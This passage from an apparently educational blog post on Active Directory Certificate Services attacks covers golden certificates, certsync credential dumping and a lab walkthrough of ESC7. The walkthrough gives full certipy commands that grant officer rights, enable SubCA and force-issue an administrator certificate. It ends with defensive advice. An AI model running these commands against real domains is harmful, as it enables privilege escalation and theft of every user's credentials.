href="https://cloudbrothers.info/en/golden-certificate-ocsp/">unless OCSP is employed instead</a>).</p><p>-sid on the other hand is the SID of the user we are forging the certificate for, it’s only necessary when the DC has been patched against Certifried.</p><p>There is however a way for system administrators to prevent unauthorized private key backups: Hardware Security Modules (HSM). An HSM is a device whose entire purpose is protecting cryptographic keys, they are hardware modules or devices which safely store private keys on a TPM: every time a user tries to read the private keys they must pass a form of single or multi factor authentication.</p><p>This way even if we manage to take control of a CA’s machine account we won’t be able to forge golden certificates if it uses an HSM. Still, if the HSM turns out to be a Yubico YubiHSM2 it’s still possible to access the private keys as this particular HSM stores the password required for authentication in the registry: this little exploit earned itself the name of <a href="https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm">ESC12</a>.</p><p><strong>CertSync</strong></p><p>I talked about <a href="https://github.com/zblurx/certsync">certsync</a> in my <a href="https://medium.com/@offsecdeer/ntlmv1-domain-compromise-9bd8dd7e9891">NTLMv1 article</a>: it is a handy tool that uses a combination of golden certificates and PKINIT hash theft to dump the credentials of all domain users, great as an alternative to DCSync when you have CA admin rights.</p><p>certsync works by enumerating all domain users from LDAP, backing up the private key of the CA and forging a certificate for each user, to then obtain their NT hash with PKINIT. I realized only recently however that it does not appear to work when the Certifried patch is installed, I think it may be because the tool forges certificates without the szOID_NTDS_CA_SECURITY_EXT extension, but I am not 100% sure. Until support for the extension is added the script’s utility unfortunately is now limited to unpatched systems.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*CRVwMzmviN1YIdQxLKMoeA.png" /></figure><h3>ESC7 (ManageCA Access Right)</h3><p>Manage CA is an assignable permission which allows users to modify the CA’s configuration, though some settings like template DACL cannot be modified with this role alone. If unprivileged users have this permission over a CA that is trusted for client authentication (through the NTAuthCertificates object) then the CA is vulnerable to ESC7.</p><p>BloodHound has a ManageCA relationship that lets us find all principals with this permission:</p><pre>MATCH p = (u)-[:ManageCA]-&gt;()<br>WHERE NOT u.objectid ENDS WITH &#39;-512&#39;<br>AND NOT u.objectid ENDS WITH &#39;-519&#39;<br>RETURN p</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*nGEx5tOOd-_lUHAr1I1PFw.png" /></figure><p>The CA itself and its group of local administrators automatically have this permission, but it can be assigned to new users from the Security tab of the Certification Authority snap-in:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*2jCyQZrFaUizDcyOrmKgGg.png" /></figure><p>The best way to exploit this vulnerability is through the method described by <a href="https://github.com/ly4k/Certipy?tab=readme-ov-file#esc7">ly4k</a>, author of certipy, which is based around the SubCA template and the ability of CA managers to give themselves the right to approve failed certificate requests.</p><p>Specifically, SubCA is a template that comes with ADCS, it’s enabled by default, has client authentication EKUs and supports SAN: this would make it a perfect ESC1 candidate except for the fact that only administrators can enroll:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/417/1*LEHB6TfeR7WUd4XY2lDG2g.png" /></figure><p>However any user with Manage CA rights can grant themselves other permissions such as Manage Certificates, an access right giving users the ability to allow pending and failed certificate requests. With Manage Certificates permissions an attacker can submit a CSR for the SubCA template, which once denied can be manually allowed regardless of the attacker’s enrollment permissions.</p><p>The best thing about this attack is that while it requires SubCA to be enabled AND our user to have Manage Certificates permissions, Manage CA lets us enable the template AND grant ourselves the permission if we don’t have it already.</p><p>SubCA should be ebabled by default but we better check to make sures, for example with certipy’s ca -list-templates command to find all enabled templates:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*X5NbASl2qC0Rke-mUSTV9A.png" /></figure><p>Or we can simply use the usual find command, which by default enumerates every available template:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*fMS3F1t5fa5jigzoh1gyMQ.png" /></figure><p>If we don’t already have the Manage Certificates access right (we can see this from BloodHound, we should have a ManageCertificates relationship towards the CA) we can make ourselves an “officer” with certipy’s ca -add-officer command:</p><pre>certipy ca -ca CA -add-officer gpierantoni -username gpierantoni@testlab.loc -dc-ip 192.168.0.100 -target-ip 192.168.0.105 -password &#39;Foofy!1&#39;</pre><p>SubCA is disabled? Just re-enable it!</p><pre>certipy ca -ca CA -enable-template SubCA -username gpierantoni@testlab.loc -dc-ip 192.168.0.100 -target-ip 192.168.0.105 -password &#39;Foofy!1&#39;</pre><p>Next we try to enroll for a SubCA certificate, when prompted type “y” to save the private key:</p><pre>certipy req -username gpierantoni@testlab.loc -ca CA -target-ip 192.168.0.105 -dc-ip 192.168.0.100 -template SubCA -upn administrator@testlab.loc -password &#39;Foofy!1&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dSQ8NEgkgxeY8dvnJuvagA.png" /></figure><p>The result is an access denied error, in fact, on the CA we can find the certificate ID shown in certipy among the failed certificate requests, the reason being we don’t have the required permissions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*nuJ0RNyt4lFUh9n_FZacyQ.png" /></figure><p>Despite our user not having the correct enrollment permissions our ManageCA and ManageCertificates permissions let us forcefully issue the certificate, by specifying the request ID shown in certipy’s previous command:</p><pre>certipy ca -ca CA -issue-request 20 -username gpierantoni@testlab.loc -dc-ip 192.168.0.100 -target-ip 192.168.0.105 -password &#39;Foofy!1&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*hRpBRGfgZxZUWJ06yvOnow.png" /></figure><p>The certificate has been issued correctly and can be retrieved with req -retrieve:</p><pre>certipy req -username gpierantoni@testlab.loc -ca CA -target-ip 192.168.0.105 -dc-ip 192.168.0.100 -retrieve 20 -password &#39;Foofy!1&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*LF54TFGmXcgiNYcBy1VHgA.png" /></figure><h3>Conclusion</h3><p>This was only an introduction to the world of ADCS vulnerabilities. A second part will come soon and will cover Certifried, ESC9, ESC10 and ESC6, then the third and final (for now?) part will be about less common scenarios like ESC11, ESC13, ESC14, and a few techniques that don’t have their own name. If you haven’t read it yet and you want to know more about even more ADCS abuse scenarios I have an article <a href="https://medium.com/@offsecdeer/abusing-adcs-ndes-for-privilege-escalation-e4d306c9ca97">dedicated to the lesser known NDES</a> role.</p><p>It’s pretty obvious just how easy it is to accidentally introduce vulnerabilities in ADCS: the already mentioned <a href="https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf">Certified Pre-Owned</a> paper has a section dedicated to solutions to fix and prevent such misconfiguration, I feel like the most important one is enabling EPA for IIS, as ESC8 is especially common and easy to exploit, or remove the Web Enrollment role altogether if you don’t need it.</p><p>Finally, the principle of least privilege should be followed religiously in ADCS as well: some administrators may be compelled to give Authenticated Users the Enroll access right on most of the available templates because it’s easier, and it happens <strong>a lot</strong>, but by doing this you are handing over the keys of the forest to every user.</p><h3>References</h3><ul><li><a href="https://posts.specterops.io/certified-pre-owned-d95910965cd2">https://posts.specterops.io/certified-pre-owned-d95910965cd2</a></li><li><a href="https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf">https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf</a></li><li><a href="https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d">https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d</a></li><li><a href="https://posts.specterops.io/adcs-attack-paths-in-bloodhound-part-1-799f3d3b03cf">https://posts.specterops.io/adcs-attack-paths-in-bloodhound-part-1-799f3d3b03cf</a></li><li><a href="https://posts.specterops.io/adcs-attack-paths-in-bloodhound-part-2-ac7f925d1547">https://posts.specterops.io/adcs-attack-paths-in-bloodhound-part-2-ac7f925d1547</a></li><li><a href="https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html">https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html</a></li><li><a href="https://github.com/ly4k/Certipy">https://github.com/ly4k/Certipy</a></li><li><a href="https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm">https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b7ae62519828" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>